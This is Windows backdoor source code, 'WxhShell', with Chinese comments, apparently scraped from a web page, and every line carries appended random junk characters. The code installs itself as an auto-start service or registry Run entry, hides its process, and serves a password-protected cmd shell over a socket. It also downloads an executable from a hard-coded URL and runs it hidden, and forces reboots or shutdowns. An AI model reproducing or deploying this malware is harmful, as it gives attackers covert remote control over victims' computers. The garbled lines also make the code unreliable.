    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &oR&NKk  
    else { Qejzp/2  
    closesocket(wsh); yZ2,AR%  
    ExitThread(0); L2:C6Sc  
    } <;Xj4 J  
    break; Q'rG' |  
    } )h/fr|  
  // 获取shell >sP;B5S  
  case 's': { 3}vlj:L  
    CmdShell(wsh); OU[Sm7B  
    closesocket(wsh); KSexG:Xb  
    ExitThread(0); $`riB$v  
    break; yK{~  
  } P--#5W;^oB  
  // 退出 0 8U:{LL  
  case 'x': { 7<) .luV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cBAA32wf  
    CloseIt(wsh); m3,v&Z  
    break; Rk'pymap  
    } Xh{EItk~oO  
  // 离开 c-3? D;  
  case 'q': { +yYz;, \  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lkb?,j5  
    closesocket(wsh); BEY}mR]  
    WSACleanup(); )S5Q5"j&=f  
    exit(1); s*Fmu7o43  
    break; 2yN~[, L  
        } 68D.Li  
  } /1^%32c  
  } [k.<x'#  
v3[ 2!UXq  
  // 提示信息 Aw5yvQ>]e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [bZXzV(  
} UrtN3icph  
  } S4\T (  
hxv/285B  
  return; u=4tW:W,  
} ge E7<"m%  
'91Ak,cWB  
// shell模块句柄 !]"T`^5,Y  
int CmdShell(SOCKET sock) cLXMq"?C  
{ uYs+x X_  
STARTUPINFO si; *f,EDSN1@d  
ZeroMemory(&si,sizeof(si)); %II |;<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =T+<>/[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jbG #__#_  
PROCESS_INFORMATION ProcessInfo; ~< k'{  
char cmdline[]="cmd"; 8J>s|MZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .<tb*6rX>  
  return 0; PB`94W  
} )Z]8SED  
9 Z4H5!:(  
// 自身启动模式 ;Neld #%J  
int StartFromService(void) PsTwJLY   
{ qEywExdiu  
typedef struct <8'}H`w%  
{ l.&6|   
  DWORD ExitStatus; 0uj3kr?cv  
  DWORD PebBaseAddress; k<AnTboa  
  DWORD AffinityMask; WyO10yvR  
  DWORD BasePriority; M,7v}[Tbl  
  ULONG UniqueProcessId; v_b%2;<1  
  ULONG InheritedFromUniqueProcessId; OpiN,>;  
}   PROCESS_BASIC_INFORMATION; iptzVr#b[  
Bf8 #&]O  
PROCNTQSIP NtQueryInformationProcess; C7nLa@  
i5rAb<q`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g4U%(3,>D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zHyM@*Gf(  
[t>}M6?R:  
  HANDLE             hProcess; o8Tt|Lxb$8  
  PROCESS_BASIC_INFORMATION pbi; .)Du ;  
&'i>5Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6)Kg!.n%f  
  if(NULL == hInst ) return 0; /9i2@#J}W1  
38rC; 6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?*Jv&f#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &,bJ]J)8O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !x&/M*nBE  
B1\}'g8%f  
  if (!NtQueryInformationProcess) return 0; Yz[^?M%(D  
3>-^/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }]/"auk  
  if(!hProcess) return 0; mhVSZhx|  
)f,iey\-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }+,;wj~  
0>>tdd7  
  CloseHandle(hProcess); O$KLQ'0"n  
t}]=5)9<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '(~+ \  
if(hProcess==NULL) return 0; +1_NB;,e  
"*<9)vQ6|  
HMODULE hMod; (Y:5u}*Y  
char procName[255]; 6>zO"9  
unsigned long cbNeeded; )%gi gQZ+  
/u5MAl.<[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C#+Gkzq  
6"z:s-V  
  CloseHandle(hProcess); &h')snp:#  
>q "mI6F  
if(strstr(procName,"services")) return 1; // 以服务启动 RlC|xj"l%  
O*X ]oX  
  return 0; // 注册表启动 MoavA 3`  
} l jQru ^(u  
zcy!YB  
// 主模块 >]s|'HTxF  
int StartWxhshell(LPSTR lpCmdLine) QT&2&#Z  
{ +q6/'ErN]m  
  SOCKET wsl; ]haZT\  
BOOL val=TRUE; %?^IS&]Z  
  int port=0; X`ee}C.D_  
  struct sockaddr_in door; }e  s  
UXvUU^k"v  
  if(wscfg.ws_autoins) Install(); t*iKkV^aE  
1=}+NK!  
port=atoi(lpCmdLine); 9aHV~5  
g Q6_]~4  
if(port<=0) port=wscfg.ws_port; V+(1U|@~  
!0i  
  WSADATA data; "@#^/m)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rq|7$O5  
>;LXy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M2l0x @|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i]Njn k  
  door.sin_family = AF_INET; scT,yNV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $qV, z  
  door.sin_port = htons(port); uD4on}  
(p>?0h9[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (_ HwU/  
closesocket(wsl); ,( u- x!  
return 1; qs 6r9?KP  
}  LhKaqR{  
Nawph  
  if(listen(wsl,2) == INVALID_SOCKET) { b bCH(fYbu  
closesocket(wsl); 6j/g/!9c!  
return 1; xf% _HMKc  
} uB_8P+h7  
  Wxhshell(wsl); zmB6Y t  
  WSACleanup(); hSr2<?yk  
D=Jj!;  
return 0; ]?rVram;z  
NwP!.  
} \,&,Q  
P;4Y%Dq~Qo  
// 以NT服务方式启动 6Cfu19Dx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H65><38X/  
{ >pdWR1ox  
DWORD   status = 0; D<U^FT  
  DWORD   specificError = 0xfffffff; C>wOoXjt  
4z%::?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iI.pxo s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |qm_ESzl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =HapCmrx8  
  serviceStatus.dwWin32ExitCode     = 0; H{hd1  
  serviceStatus.dwServiceSpecificExitCode = 0; $lVR6|n  
  serviceStatus.dwCheckPoint       = 0; W T~UEK'  
  serviceStatus.dwWaitHint       = 0; ,a 2(h  
g\%;b3"#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Sqn|  
  if (hServiceStatusHandle==0) return; /<C}v~r  
ut j7"{'k|  
status = GetLastError(); sE:~+C6o:  
  if (status!=NO_ERROR) H{ M7_1T  
{ G5A:C(r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \no6]xN;  
    serviceStatus.dwCheckPoint       = 0; RGg=dN  
    serviceStatus.dwWaitHint       = 0; x$hhH=  
    serviceStatus.dwWin32ExitCode     = status; 3u[m? Vw  
    serviceStatus.dwServiceSpecificExitCode = specificError; r ]s7a?O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3EkCM_]  
    return; X\4d|VJ?m  
  } fJ<I|ZZ  
Q3"{v0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .bYZkO:oy  
  serviceStatus.dwCheckPoint       = 0; &X3G;x2;  
  serviceStatus.dwWaitHint       = 0; 03p D<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <fS WX>pR  
} aW=c.Q.  
@I"&k!e<2  
// 处理NT服务事件,比如:启动、停止 00SYNG!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R5Pk>-KF  
{  m#K)%0  
switch(fdwControl) Z=ZTSl   
{ pmwVVUEQ  
case SERVICE_CONTROL_STOP: ;*u"hIl1/  
  serviceStatus.dwWin32ExitCode = 0; $|"Y|3&X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZNDn! Sj  
  serviceStatus.dwCheckPoint   = 0; +}VaQ8ti4  
  serviceStatus.dwWaitHint     = 0; OCW0$V6;D-  
  { 11VtC)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `^v=*&   
  } |qs8( 5z0  
  return; r{cmw`WA/P  
case SERVICE_CONTROL_PAUSE: DplS\}='s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [x%[N)U3  
  break; r{>`"  
case SERVICE_CONTROL_CONTINUE: `uP:UQ9S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =Gv*yR*]t  
  break; (n{x"rLy/  
case SERVICE_CONTROL_INTERROGATE: z`}z7e'>  
  break; 6.Jvqn  
}; ThvgYv--B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _sqj~|K  
} 0 i'bo*  
@vZeye  
// 标准应用程序主函数 9epMw-)k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6b2Z}B  
{ |`|#-xu  
YjCHKI"e  
// 获取操作系统版本 q@Aw]Kh  
OsIsNt=GetOsVer(); 6,;dU-A+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VQ"Z3L3-4  
!n7'TM '  
  // 从命令行安装 ?kIyo  
  if(strpbrk(lpCmdLine,"iI")) Install(); "hmLe(jo}  
'@/1e\-y  
  // 下载执行文件 K<rv|bJ  
if(wscfg.ws_downexe) { ;A6%YY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,xw1B-dx  
  WinExec(wscfg.ws_filenam,SW_HIDE); @ D,]v:  
} f@@7?5fW  
l"zA~W/  
if(!OsIsNt) { <Hf3AB;#4  
// 如果时win9x,隐藏进程并且设置为注册表启动 G{.[o6>  
HideProc(); Ct][B{  
StartWxhshell(lpCmdLine); UY6aD~tD0  
} 2U|"]tpM&  
else 3q W](  
  if(StartFromService()) Z=9<esx  
  // 以服务方式启动 nR]*RIp5  
  StartServiceCtrlDispatcher(DispatchTable); v<@3&bot  
else 1oc@]0n  
  // 普通方式启动 J@o_-\@  
  StartWxhshell(lpCmdLine); 7{Lp/z%r  
)n6,uTlOw  
return 0; u`CHM:<<?  
} }_Ci3|G>%D  
7qSnP 30}  
;E_Go&Vd  
7@&mGUALO  
=========================================== 9^u}~e #(  
 J8-K  
' 7Mz]@  
Ze!/b|`xI  
O _ C<h  
BG6.,'~7o  
" -5oYGLS$y3  
c,^W/:CQAB  
#include <stdio.h> *knN?`(x  
#include <string.h> CNe(]HIOH  
#include <windows.h> 8J#xB  
#include <winsock2.h> 0&u=(;Dr\  
#include <winsvc.h> bY-koJo  
#include <urlmon.h> ;Fo7 -kK  
Yy~xNj5OS  
#pragma comment (lib, "Ws2_32.lib") ?W_8 X2(`  
#pragma comment (lib, "urlmon.lib") S{RRlR6Z  
,.kmUd  
#define MAX_USER   100 // 最大客户端连接数 -^)<FY\  
#define BUF_SOCK   200 // sock buffer <&^[?FdAa  
#define KEY_BUFF   255 // 输入 buffer Im?/#tX  
 aGOS 9  
#define REBOOT     0   // 重启 PR/>E60H  
#define SHUTDOWN   1   // 关机 R4X9g\KpAt  
/d+v4GIB  
#define DEF_PORT   5000 // 监听端口 !</U"P:L  
kbL7Xjk  
#define REG_LEN     16   // 注册表键长度 deQ {  
#define SVC_LEN     80   // NT服务名长度 b# Dd  
pIV |hb!G  
// 从dll定义API <FX ]n<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rK3KxG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %"cOX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k')H5h+Q=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [,MaAB  
L8q#_k  
// wxhshell配置信息 LGw-cX #  
struct WSCFG { *s#6e}  
  int ws_port;         // 监听端口 mzCd@<T,  
  char ws_passstr[REG_LEN]; // 口令 );T&pm:C>  
  int ws_autoins;       // 安装标记, 1=yes 0=no TMD\=8Na  
  char ws_regname[REG_LEN]; // 注册表键名 ,RDWx  
  char ws_svcname[REG_LEN]; // 服务名 9_?<T;]"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _M&n~ r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9B![l=Gh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZeY|JH1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M3elog:M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fK~8h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yZ!~m3Q  
qRgFVX+vc  
}; w:9`R<L  
5VpqDL~d  
// default Wxhshell configuration =`*@OJHH  
struct WSCFG wscfg={DEF_PORT, >0[:uu,'>  
    "xuhuanlingzhe", ,cxe"U  
    1, giH#t< )W  
    "Wxhshell", =E$bZe8  
    "Wxhshell", A9g/At_  
            "WxhShell Service", 33KCO  
    "Wrsky Windows CmdShell Service", $tF\7.e@  
    "Please Input Your Password: ", ~3-"1E>Rgy  
  1, t^Lb}A#$4  
  "http://www.wrsky.com/wxhshell.exe", HY eCq9S  
  "Wxhshell.exe" U.V/JbXX  
    }; 3#x1(+c6  
O8A(OfX  
// 消息定义模块 (, ik:j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +=Q:g,kP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \D k >dE&I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HL]J=Gh  
char *msg_ws_ext="\n\rExit."; ; wxmSX9  
char *msg_ws_end="\n\rQuit."; |'&$VzA  
char *msg_ws_boot="\n\rReboot..."; ,}khu  
char *msg_ws_poff="\n\rShutdown...";  3Z`"k2k  
char *msg_ws_down="\n\rSave to "; ]%I\FefT  
Q=>5@sZB  
char *msg_ws_err="\n\rErr!"; PjX V.gz  
char *msg_ws_ok="\n\rOK!"; N34-z|"q  
F Z RnIg  
char ExeFile[MAX_PATH]; u  Fw1%  
int nUser = 0; E<}sGzMc  
HANDLE handles[MAX_USER]; ev0>j4Q  
int OsIsNt; 8ki3>"!A  
6;\1bP?  
SERVICE_STATUS       serviceStatus;  0Gc:+c7{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $m~&| s  
qou\4YZ  
// 函数声明 ~QlF(@u e  
int Install(void); #AP;GoIf"j  
int Uninstall(void); ',!jYh}Uxk  
int DownloadFile(char *sURL, SOCKET wsh); OiXO<1'$  
int Boot(int flag); .gGO+8[N*  
void HideProc(void); mn=b&{')e  
int GetOsVer(void); oH&@F@r:+  
int Wxhshell(SOCKET wsl); eub}+~_?[  
void TalkWithClient(void *cs); O9-`e  
int CmdShell(SOCKET sock); aeI0;u  
int StartFromService(void); -"S94<Y  
int StartWxhshell(LPSTR lpCmdLine); 0:71Xm  
0:n"A,-p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &;pM<h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?% 8%1d  
\.oJ/++  
// 数据结构和表定义 ;du},>T$n  
SERVICE_TABLE_ENTRY DispatchTable[] = /\<x8BJ  
{ Z*f%R\u  
{wscfg.ws_svcname, NTServiceMain}, 'K02T:\iZ  
{NULL, NULL} l`l6Y>c*]  
}; ^fe,A=k~1  
_68vSYr  
// 自我安装 XkkzY5rxOc  
int Install(void) i].E1},%  
{ TmftEw>u  
  char svExeFile[MAX_PATH]; z;P#  
  HKEY key; F!g1.49""  
  strcpy(svExeFile,ExeFile); 2}XRqa.|  
v0!|TI3s  
// 如果是win9x系统,修改注册表设为自启动 !hM`Oe`S  
if(!OsIsNt) { }aVzr}!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lw gwdB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E:M,nSc)53  
  RegCloseKey(key); ]\ !ka/%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /*>}y$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YmFg#eS  
  RegCloseKey(key); t:V._@  
  return 0; g 8uq6U  
    } iZiT/#,H2  
  } szhSI  
} 3) d }3w {  
else { n{<}<SVY  
5,oLl {S'  
// 如果是NT以上系统,安装为系统服务 A?lR[`'u\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7FPSBvU#/  
if (schSCManager!=0) 4)OOj14-V  
{ !wQ?+ :6  
  SC_HANDLE schService = CreateService ,wM}h  
  ( |a"]@W$>  
  schSCManager, mjg@c|rTG  
  wscfg.ws_svcname, yQ[;.<%v  
  wscfg.ws_svcdisp, 9XtO#!+48  
  SERVICE_ALL_ACCESS, -`{W~yz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h!JyFc  
  SERVICE_AUTO_START, _EP]|DTfr  
  SERVICE_ERROR_NORMAL, ~Gmt,l! b  
  svExeFile, spm)X-[1  
  NULL, ,j`48S@  
  NULL, ) 9 2(C  
  NULL, QICxSk  
  NULL, T?f{.a)  
  NULL P (7Q8i'  
  ); # $k1w@  
  if (schService!=0) Yb`b /BMR  
  { (0#$%US\  
  CloseServiceHandle(schService); *yw!Y{e!9  
  CloseServiceHandle(schSCManager); U ^GVz%\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z8'zH>  
  strcat(svExeFile,wscfg.ws_svcname); `pCy:J?d>l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LTzdg >\oJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @v@F%JCZ  
  RegCloseKey(key); _eq$C=3Ta  
  return 0; hKN ;tq,  
    } C P&u  
  } ^7? WR?!  
  CloseServiceHandle(schSCManager); _V1:'T8  
} GRYw_}Aa  
} ,{S $&g*  
"ldd&><  
return 1; 4v _Hh<%  
} 60{DR >S  
cf$ hIB)Oi  
// 自我卸载 /3rNX}tOMH  
int Uninstall(void) 2jC:uk  
{ KMkD6g  
  HKEY key; RD)Vb$.B:  
kZF<~U  
if(!OsIsNt) { CUG"2K9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /bo=,%wJ[  
  RegDeleteValue(key,wscfg.ws_regname); b\H&E{Gn|x  
  RegCloseKey(key); Yb<:1?76L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { { V(~  
  RegDeleteValue(key,wscfg.ws_regname); "5k 6FV  
  RegCloseKey(key); *A8*FX>\F  
  return 0; \WTKw x  
  } 6@/k|t>OT  
} 7- LjBlH  
} \/j,  
else { s+fxv(,"c  
<yEApWd;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,9jk<)m]L  
if (schSCManager!=0) "u4x#7n|  
{ `5h^!="  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HH7WMYoKY  
  if (schService!=0) WxO+cB+?  
  { CC"a2Hu/  
  if(DeleteService(schService)!=0) { M[z1B!rT  
  CloseServiceHandle(schService); .On qj^v  
  CloseServiceHandle(schSCManager); wGT>Xh!  
  return 0; gt.F[q3  
  } z&9MkbH1  
  CloseServiceHandle(schService); O.QR1  
  } gy,)% {,G  
  CloseServiceHandle(schSCManager); X\H P{$fY_  
} Rzs u 7w  
} f1'X<VA  
C@:X9NU  
return 1; F."ZCEb  
} e4Qjx*[G  
U _A'/p^D  
// 从指定url下载文件 vdgK3I  
int DownloadFile(char *sURL, SOCKET wsh) _6c/,a8;*J  
{ 0U*f"5F  
  HRESULT hr; *tRsm"}  
char seps[]= "/"; Ag+B*   
char *token; UcB&p t&  
char *file; "\}h  
char myURL[MAX_PATH]; EZ"i0u  
char myFILE[MAX_PATH]; .),9q z`  
" 62g!e}!c  
strcpy(myURL,sURL); |XG&[TI- "  
  token=strtok(myURL,seps); x`C"Z7t  
  while(token!=NULL) Hik=(pTu>  
  { oLX[!0M^  
    file=token; N;-%:nC  
  token=strtok(NULL,seps); BxV>s+o&]  
  } u ynudO  
n CX{tqy   
GetCurrentDirectory(MAX_PATH,myFILE); eXnSH$uI  
strcat(myFILE, "\\"); $,/E"G`  
strcat(myFILE, file); N3\RXXY  
  send(wsh,myFILE,strlen(myFILE),0); '-N 5F  
send(wsh,"...",3,0); H?Sv6W.~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <>f;g "qS  
  if(hr==S_OK) ;P juO  
return 0; -eh .Tk  
else WFk%nO/  
return 1; fDW:|%{Y,  
]ke9ipj]:  
} /8l@n dZf  
Bnk<e  
// 系统电源模块 <Rn-B).3bs  
int Boot(int flag) V0 Z8VqV  
{ U<sGj~"#  
  HANDLE hToken; 1fIx@  
  TOKEN_PRIVILEGES tkp; O9?.J,,mVh  
{`M \}(E  
  if(OsIsNt) { e&T-GL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3ww\Z8UeK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P/WGB~NH  
    tkp.PrivilegeCount = 1; @uV]7d"z(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M1NdlAAf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D~i5E9s5  
if(flag==REBOOT) { !Z\Gv1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3`{ vx  
  return 0; J| wk})?  
} FF^h(Ea  
else { 1Vz^?t:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XMZ$AeF@  
  return 0; ,66(*\xT  
} VR1]CN"G  
  } $*N(feAs  
  else { a;IOL  
if(flag==REBOOT) { NV(jp'i~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $]};EI#  
  return 0; SKNHLE}  
} Rsq EAdZw[  
else { E24}?t^|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F[jqJzCz  
  return 0; `~VL&o1>  
} v9 /37AU  
} .L%pWRxA[  
r 9M3rj]  
return 1; QbSLSMoL  
} YG= :lf  
ZWS:-]P.  
// win9x进程隐藏模块 - uO(qUa#  
void HideProc(void) )l m7ly8a|  
{ 45[,LJaMd  
<Dgf'Gr J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?,v& o>*  
  if ( hKernel != NULL ) j(;ou?Uh  
  { tg 'gR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <zTz/Hk`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kxEq_FX  
    FreeLibrary(hKernel); wX6-WQR  
  } ^q& Rl\  
N\.g+ W  
return; "'Gq4<&y  
} @Z#h?:  
*5s*-^'#!  
// 获取操作系统版本 Uea2WJpX  
int GetOsVer(void) `# !>}/m  
{ 9$9a BW  
  OSVERSIONINFO winfo; "x;FE<I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9mXmghoCO  
  GetVersionEx(&winfo); 8q6Le{G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $\] Mvd  
  return 1; q^^R|X1  
  else m;xa}b{(i  
  return 0; gG.+3=  
} xfX|AC  
%qeNC\6N  
// 客户端句柄模块 @C[p?ak  
int Wxhshell(SOCKET wsl) k^;/@:  
{ jZmL7 V  
  SOCKET wsh; />:$"+gKo  
  struct sockaddr_in client; dG~U3\!  
  DWORD myID; _PC<Td>nm  
RZq_}-P,.c  
  while(nUser<MAX_USER) @44*<!da  
{ (yuOY/~k/  
  int nSize=sizeof(client); T 8 ]*bw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /5epDDP-t5  
  if(wsh==INVALID_SOCKET) return 1; @sZ' --Y  
T:K}mLSg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 99'c\[fd'  
if(handles[nUser]==0) [K4 k7$  
  closesocket(wsh); 7tJ#0to  
else KdZ=g ZSH  
  nUser++; XrMw$_0)  
  } ';.y`{/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }c= Y<Cdh  
(NfB+Ue}  
  return 0; g co;8e_  
} "9hD4R  
Ji=`XsV  
// 关闭 socket mrKIiaU<J  
void CloseIt(SOCKET wsh) A4d3hF~l`  
{ mrG#ox4$  
closesocket(wsh); ~@<o-|#  
nUser--; wpQp1){%Q  
ExitThread(0); 4~oRcO8!Y  
} =1!.g"0  
&IDT[J  
// 客户端请求句柄 9Ou}8a?m"  
void TalkWithClient(void *cs) As^eL/m2L  
{ \YF;/KwX$  
N;}X$b5Y @  
  SOCKET wsh=(SOCKET)cs; ~K|ha26W  
  char pwd[SVC_LEN]; bYhG`1,$-a  
  char cmd[KEY_BUFF]; gth_Sz5!#  
char chr[1]; zt|1tU:  
int i,j; =\i%,YY  
bh\2&]Di/  
  while (nUser < MAX_USER) { ;Tq4!w'rH  
Ag(JSVY  
if(wscfg.ws_passstr) { -<T> paE9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +Qzl-eN/+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZtGk Md$  
  //ZeroMemory(pwd,KEY_BUFF); B 'd@ms  
      i=0; pxyFM@Z](  
  while(i<SVC_LEN) { Ho&f[T(  
?TW?2+  
  // 设置超时 ,*x/L?.Z!  
  fd_set FdRead; L KZ<\% X  
  struct timeval TimeOut; 0oi.k;  
  FD_ZERO(&FdRead); wJgGw5  
  FD_SET(wsh,&FdRead); #!yX2lR  
  TimeOut.tv_sec=8; ^ rO}'~(  
  TimeOut.tv_usec=0; pD~."fb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $kR%G{j 4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C\bJ_vl;'  
mB bGj3u;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N0K <zxR  
  pwd=chr[0]; -Fop<q\b  
  if(chr[0]==0xd || chr[0]==0xa) { o:as}7/^  
  pwd=0; mmNn,>AO!  
  break; -J]N &[  
  } 6 Rg>h  
  i++; 1[a#blL6W  
    } Ts=TaRwWf  
\qG` ts  
  // 如果是非法用户,关闭 socket CA$|3m9)NM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ose)\rM'  
} w#L`|cYCm  
L1@<7?@X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o9]!*Y!RA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j/ARTaO1]"  
~@}n}aV'!  
while(1) { ?AI`,*^  
brqmi<*9"[  
  ZeroMemory(cmd,KEY_BUFF); 6HVX4Z#VH  
4~nf~  
      // 自动支持客户端 telnet标准   gKWUHlQY  
  j=0; =|^R<#%/  
  while(j<KEY_BUFF) { ~Hx>yn94e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KYg'=({x  
  cmd[j]=chr[0]; _4k zlD  
  if(chr[0]==0xa || chr[0]==0xd) { vr kj4J f  
  cmd[j]=0; i~4$V  
  break; >oAXS\Ts  
  } Q+U" %   
  j++; SU~ljAF4  
    } {G|= pM\'  
H:16aaMn(  
  // 下载文件 .NF3dC\  
  if(strstr(cmd,"http://")) { f{(D+7e}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >4=7t&h  
  if(DownloadFile(cmd,wsh)) o6 :]Hvqjr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cy2K#  
  else mGw*6kOIS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iE ,"YCK  
  } h?->A#  
  else { G*zhy!P  
)fke;Y0  
    switch(cmd[0]) { j4#S/:Q<7  
